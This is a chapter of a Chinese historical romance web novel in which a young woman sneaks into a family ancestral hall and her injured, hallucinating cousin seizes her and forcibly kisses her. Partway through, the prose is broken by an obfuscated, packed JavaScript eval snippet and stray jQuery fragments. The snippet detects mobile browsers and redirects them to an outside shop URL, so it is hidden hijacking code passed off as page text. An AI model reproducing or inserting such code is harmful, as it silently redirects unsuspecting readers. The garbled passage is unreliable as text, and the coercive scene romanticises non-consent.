31. 吻

作品:《我走后他为何如此

    谢燕歌自上回察觉到不对劲之后,暗中调查了那个出现在谢府门前的来历不明的婆子一段时日,终于有了些眉目。


    然而越接近真相她便越心惊,那妇人苏氏,竟是传闻中已故的王皇后身边的贴身嬷嬷。


    而王皇后又是大伯父原配王夫人的亲妹妹,也就是二哥的亲姨母。据说她未出阁时便与王氏如今的家主不和,深居简出。嫁给当今圣上后不过两年便香消玉殒。


    吊诡的是,这位素有艳名的皇后多年少有露面不说,就连存世的画像也是少之又少,谢燕歌也只是听说而未曾亲眼见过。


    出于好奇,她悄悄找了许久。费尽了力气,终于在谢府的藏书阁翻到一张看起来有些年头的画作,落款处用漂亮的簪花小字写着:“瑶光吾妹”,正是出自大夫人之手。


    谢燕歌垂眸看着眼前正蹲在地上捡拾碎瓷片的少女,她穿着一身素净的天青色襦裙,发髻低垂,即便是在弯腰时,脊背的弧度也婉约美好得像一株嫩柳。


    听见她的到来,少女仰起的那一张精致的鹅蛋脸,竟是与那画像上的女子有七八分相像!


    在看见画像上女子的那一刻,谢燕歌便意识到她的好二哥似乎在下一盘大棋,而她的大伯父也必定是知晓的,这座谢府的疯癫程度远超她的想象。


    可她却不知他们究竟想做什么,难不成还要将这王莺也送进宫里去么?


    “好久不见啦,谢娘子。”少女手上揣着锋利的碎瓷片,还不忘腼腆温吞地和她打招呼。


    谢燕歌唇角挂着笑意,心底却是一片寒凉。对上眼前少女看见她后有些茫然又惊喜的眼神,她下意识地轻声道:“我二哥怎么舍得你的?”她见过他看向眼前这女子的目光,也听说了前几日的事情。


    若是别人听了这件事或许会将之理解为兄长对族中落魄表妹的关照,可谢燕歌却知晓,绝无可能会是如此。


    “什么?”薛鸢有些疑惑地问道。谢燕歌站着,她还蹲着,隔着一段距离,她没能听清谢燕歌说了什么。


    “没什么,你院儿里不是新来了个嬷嬷么?怎么不见她老人家。”谢燕歌岔开话题,状似不经意地问道。她今日来便是想试探一下那个婆子,看看对方是否知道些她不知道的内情。


    谢燕歌也不知道自己为什么这么关心此事,也许只是因为看不惯谢氏这些人的做派。


    在她眼里,献祭一个单纯到有些傻气的女子来达成他们的目的,非是君子所为。


    这也让她第一次对心目中二哥光风霁月的形象产生了动摇。


    “谢娘子是说苏嬷嬷吗?她近日似乎不大爱出房门。”薛鸢歪着脑袋,似在回忆,“你找苏嬷嬷有什么事吗?”


    “有一些事情想找她请教一二。”谢燕歌沉吟片刻道。


    薛鸢不疑有他:“那我带你去西厢房找她罢。”


    “不必了,既然她不在,我改日再来便是。”谢燕歌不想如此大动干戈,若叫大伯父和二哥发现她在查什么就不好了。


    薛鸢见谢燕歌转身欲走,忽然想起自己或许可以问问她谢琮的事。于是她叫住了谢燕歌:“谢娘子留步。”


    谢燕歌有些意外,但还是停了下来,在她的印象中王莺总是怯怯懦懦的,从没见她主动找过谁。


    对上谢燕歌清明澄澈的目光,薛鸢抿了抿唇还是开口道:“我是想问问,你知道表哥的事吗?”


    谢燕歌微微挑眉,倒是没想到她会问这个。


    少女乌润的眸子里的紧张清晰可见。


    谢燕歌心里不免生出些淡淡的悲悯,还有点莫名的不满。只觉得这么久过去,这女子果真还是一点长进也没有,怕是被人卖了还要帮人数钱。


    她叹了口气,眼风扫向垂首立在一旁眼观鼻鼻观心的红玉。


    红玉立刻反应过来:“奴婢去将这些碎瓷片处理一下。”说完便一溜烟似地告退了。


    屋里只剩下了她们两人。


    “我只知道这次大伯父的确是动怒了,至于原因,我也不知。”谢燕歌看了薛鸢一眼,意味深长,“不过我猜八成便是因为他救你的事,折损了公主和皇家的颜面。”


    她话语间用词虽谨慎,语气却笃定。


    闻言,薛鸢眼睫微颤:“那谢中书会因此责罚于他吗?”


    谢燕歌笑了笑,似是觉得她这个问题有点蠢:“这是自然,谢氏家规森严,二哥更是以身作则,大伯父对他一向比旁人严苛许多,责罚也自然更重些。”


    薛鸢有些意外,她没想到谢琮这样看上去无所不能的人竟也有这样的一面,他也会犯错,也会被责罚。


    而想起他此次受罚的原因,被他一双铁臂箍紧在身前的那种令人脸热的酸痛感又涌入脑海…


    薛鸢心口一窒。


    此事毕竟因她而起。按照礼节,她的确也该当面谢一谢他。


    思及此,她才意识她甚至还未曾就他救了她一事与他道谢,只是一味地陷入抵触情绪里。于情于理,这似乎都不太合适。


    默了默,她试探性地看向谢燕歌道:“那…你知晓表哥他现下在何处吗?”


    谢燕歌唇角的笑意淡了下去,却不是因为被问住了。相反,她觉得自己其实已经猜了个八九不离十。


    说来惭愧,她幼时不懂事,为了进步甚至跟踪过二哥。


    彼时的少年身架子还不像如今这般成熟挺阔,夜风中,他的身形清瘦笔挺如竹,沉默而孤寂。


    而那时的谢燕歌不以为意,只满心以为他漏夜出门定是有什么不能让人知道的辛秘,兴许便是他无论学什么都是其中翘楚的原因。


    可她跟着跟着,却发现少年走进了家祠里。


    谢燕歌不信邪地在外头偷听了一会儿,等到的却不是想象中的大儒传道授业,而是鞭子破空之声,还有抽打在皮肉上的骇人声响。


    半个时辰后,门开了,少年缓缓从里面走了出来,他的身形与来时无异,依旧矜贵笔挺,脚步却比来时虚浮许多,夜风送来血腥气,谢燕歌赫然瞧见他背上多了数道血淋淋的痕迹…


    那一幕给年少的谢燕歌造成了极大的震撼,从此,祠堂里面到底有什么,成了另一件令她好奇的事情。


    可惜祠堂乃是谢氏的圣地,像她这样的无名小辈是不被允许入内的。


    谢燕歌并没有因此退却,她坚信祠堂这样的重地不可能只有一个门。


    她苦研机关术,终于在又一个月黑风高的夜晚,她找到了一条密道,成功进入到了祠堂内部。


    然而里面的景象却让她大失所望,乌漆嘛黑不说,且只有一片森然的排位。


    谢燕歌觉得索然无味,她封好了暗道,再也没有踏足过那里。只是自那之后她却也隐约明白了,二哥大约是在此地受刑。


    知晓这些后,她对二哥更是发自内心的敬畏,却再也不会想着要模仿他。


    这回知道大伯父盛怒之下召了他过去,她第一时间便联想到了祠堂。


    “你想去找他?”谢燕歌没回答薛鸢的问题,反问道。


    “嗯。”薛鸢露出手里的荷包,“公主殿下有件东西托我送给表哥。”


    谢燕歌瞥了一眼薛鸢手里的东西,觉得有些好笑,笑她都自身难保了,还在忙着为别人牵线。


    像这样心软又愚蠢的小娘子,真要到了那个吃人的皇宫里,只怕活得不比王皇后久。


    谢燕歌微微出神,余光落在那张她亲手斫的那张琴上,如今似乎被人打理的比卖出去时还要光鲜亮丽。


    她忽然觉得有些烦躁。


    顿了片刻,她做出了一个违背祖宗的决定:“好,我带你去,戌时三刻,在你院子门口等我。”就当是她最后再帮她一次。


    *


    暮色四合,夏季的暴雨说来就来。


    祠堂前原本负责护卫的几个家仆纷纷躲到了附近的凉亭里避雨。


    看守祠堂这项活计,在谢府算是数一数二的闲差。只因谢氏荣华百年,还从未见过敢擅闯家祠的人。


    不过即便如此,换做平时,他们也是绝对不敢如此懈怠的。


    这几日却是不同。


    “刘叔,咱们就这么走了,算不算是擅离职守啊,真的没问题吗?”新调来祠堂当差的年轻人赵河不放心地回头张望,雨势太大,那座恢弘的建筑已经有些看不真切。


    “别逗你刘叔笑了,你可知里头关着的是什么人,那可是二公子!什么牛鬼蛇神能越过他去?能出什么乱子?”


    “可是二公子他…”


    赵河瘪了瘪嘴,沉默了下来。他其实有些好奇,二公子这样的人能犯什么样的错误,令家主恼恨至此。


    方才进去送膳时,他没忍住偷瞧了一眼,不成想却看见二公子只着一身中衣跪坐在堂下,后背上是一片干涸的血迹,将原本的白衣都染成了血红。


    男人面色苍白,一双凤眸轻阖,长眉微微蹙着,脊背却依旧挺直,看起来了无声息。


    赵河看得心惊,生怕出什么事,试探性地唤了几声,却无人理会他。


    他只得又靠近了些,发现男人额上似乎沁出了细密的汗珠。


    正当赵河想再开口询问时,男人忽然启唇:“滚出去。”


    他的音色清冷,声音不大,却令赵河身上莫名窜上一阵寒意。


    赵河不敢再多看,连忙垂着头退了出去。


    ……


    看着刘老头抱臂倚在亭柱上老神在在的样子,赵河也不敢再多言。


    *


    不远处的地下,青衫少女执着火折子在一片黑暗里摸索着前进。


    直到已经身在其中,薛鸢仍是觉得有些奇异,她没想到平平无奇的一面墙后面竟藏着这么一个足足有一丈宽的甬道,倒是与谢燕歌那间暗藏玄机的琴行有异曲同工之妙。


    谢燕歌将她带进来就离开了,薛鸢孤身一人,本就轻薄的衣裳方才被突如其来的暴雨打湿后变得有些沾身,她有些不舒服,心里也不禁生出些退意。


    正在这时,她却忽然发现甬道的尽头竟隐约透着一点昏黄的光亮。


    薛鸢下意识地向着亮光处走去。


    穿过长长的黑暗,视野逐渐开阔起来。薛鸢走出甬道,绕过一面影壁,昏黄的烛光中,入眼是一片高高低低,层层叠叠的木牌,上面却没有字。


    谢燕歌并没有告诉她目的地是哪里,出于对她莫名的信任,薛鸢也没有问,此刻倒有些后知后觉的慌乱。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188431|194850||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只因眼前的这些木牌和周围昏暗诡异的氛围似乎都指向一个答案。


    这里是祠堂。


    果然,随着眼睛离开绝对的黑暗,开始逐渐适应微弱的光线,薛鸢很快便明白了,原来她此刻正身处层层牌位之后。


    她定了定心神,继续往前走去,绕过牌位,她看见了跽坐于竹席上的男人。


    薛鸢从未见过这样的谢琮,几日不见,他似乎又清减了些,下颌的线条越发精致利落。


    察觉到空气中淡淡的血腥气,和他过分苍白的脸色,她愣了愣。


    似乎察觉到有人在附近,他冷道:“不是说了么,滚。”不复平日的淡漠,显得十足的不耐。


    薛鸢却没动,她听出了他声线里细微的哑,也看出他宽袍下的手臂似乎也在微微颤抖着。


    薛鸢忽然觉得有些喘不过气来,她说不清自己内心是什么感受。


    在这一刻,她清晰地意识到他也是一个人,并非无所不能,会痛,甚至会死。


    虽然明知道他救她可能别有目的,可他又的的确确救了她,她不希望他死。他似乎流了很多血,让她害怕极了。


    薛鸢心头纷乱,脚下已经不自觉地朝男人走去。


    她在心里告诉自己,只需要确认他的伤势没有到会死的程度便好,然后再将这个荷包给他。


    这样,她便可以过自己心里的那一关,便可以和他两清了。


    少女走得很慢,在她走到离谢琮还有几步远的地方时,男人忽然睁开了眼。


    看到薛鸢的一瞬,谢琮便知道又是幻觉,她怎么会来这里。


    身在祠堂的这几日里,熟悉的头痛持续不断地侵扰着他,一闭上眼,水下救她时的那些片段就都变成了幻境进入他的脑海里。


    幻境中,女人紧闭的眉眼,丰润的唇瓣,还有那不知死活地非要缠上来的白腻柔软,栩栩如生,格外清晰。


    而幻境里的他似乎完全不懂拒绝,任由她一次又一次地缠上来。他无法控制幻境中自己的行为,只能看着另一个自己理智全无,狠狠地回应着她。


    他不屑,愤怒,却又无法控制地阖上双眸,陷入这场似乎无休无止的幻觉里,以一种怪诞的视角观赏着这些令他浑身战栗,又可耻地沉湎的画面。


    此刻,他望着她,双目微微泛着不正常的红。


    薛鸢猝不及防地对上男人晦暗不明的目光,心神一悸,她没有再往前走,下意识地想要退缩。


    然而下一瞬,一阵剧痛陡然传来,一股大力掰住了她的手腕。反应过来后,她已经被男人单手握住向前扯去,被迫展开在他身前。


    “表哥,是我。”薛鸢吃痛,泪眼盈盈。她觉得他此刻的状态很不对劲,这么亲密的姿势,她以为他是将她当成了什么人。


    她急急地唤他,想要让他认清自己。


    谢琮却压根没理她,一只手将她控在身前,另一只手已经捏住了她的脸,似乎要细细打量,看清她究竟是什么变的。


    比起那些光怪陆离的一帧帧碎片,眼前的这个场景里的她似乎更为真实,握在手里是与方才那些场景里完全不一样的感受。


    更高级的幻觉,他饶有兴致地想。


    他的身体也显而易见地变得更为兴奋起来。


    “你来做什么?知道这是什么地方么?”他微微俯身,挺秀的鼻梁几乎贴上她的面颊,他控着她的脸,不让她躲。


    他问得漫不经心,似乎也并不好奇她的答案。


    薛鸢的身体随着他俯身被弯出了一个惊人的弧度。


    这样的谢琮与她从前见过的任何一种都不一样,他的墨发随意地披散着,一双墨眸一瞬不瞬地倒映着她的影子,整个人俊美而妖异,透着森然的鬼气。


    薛鸢是真的有些害怕了。


    “我来找你,表哥。”她说。她不知道他到底有没有认出自己,再次强调着她对他的称呼。


    “我是想来谢谢你那日救了我。”她补充道。


    男人闻言似乎顿了一瞬,他的眸子清寂,像冬日里落了一夜的雪。专注而安静地看着她。


    他身上的温度变得有些热,手上力道也松了些许,像在等着她的下文。


    见他能听进自己说的话,薛鸢松了一口气。急忙翻出自己腰间收着的荷包想要趁热打铁。


    谢琮并没有放开她,只是沉默地盯着她的动作,视线直勾勾地落在她手里的东西右下角的“琮”字上。


    他看着她,瞳孔微缩。


    “给我的?”他听见自己微微发紧的声音。即便知晓这是幻觉,他却也莫名有几分受用。


    他觉得这个幻觉里的她似乎格外合他心意。


    只是这个她不知为何没有像别的幻境里的她那样向他缠过来。


    他淡淡地想,若是她也如此,他或许可以考虑不与她计较。


    “当然是要给表哥的,这是游船那日淑嘉公主托我带给表哥的,她说这里面是一个平安符,可以保…啊…”


    薛鸢将早已准备好的说辞说出口,只是还没说完,却被男人猛地捉了一双手腕吊在头顶,她本能地想要惊呼出声,下一瞬,却是唇被狠狠地堵住,喉间溢出的声响尽数被男人吞没于口中。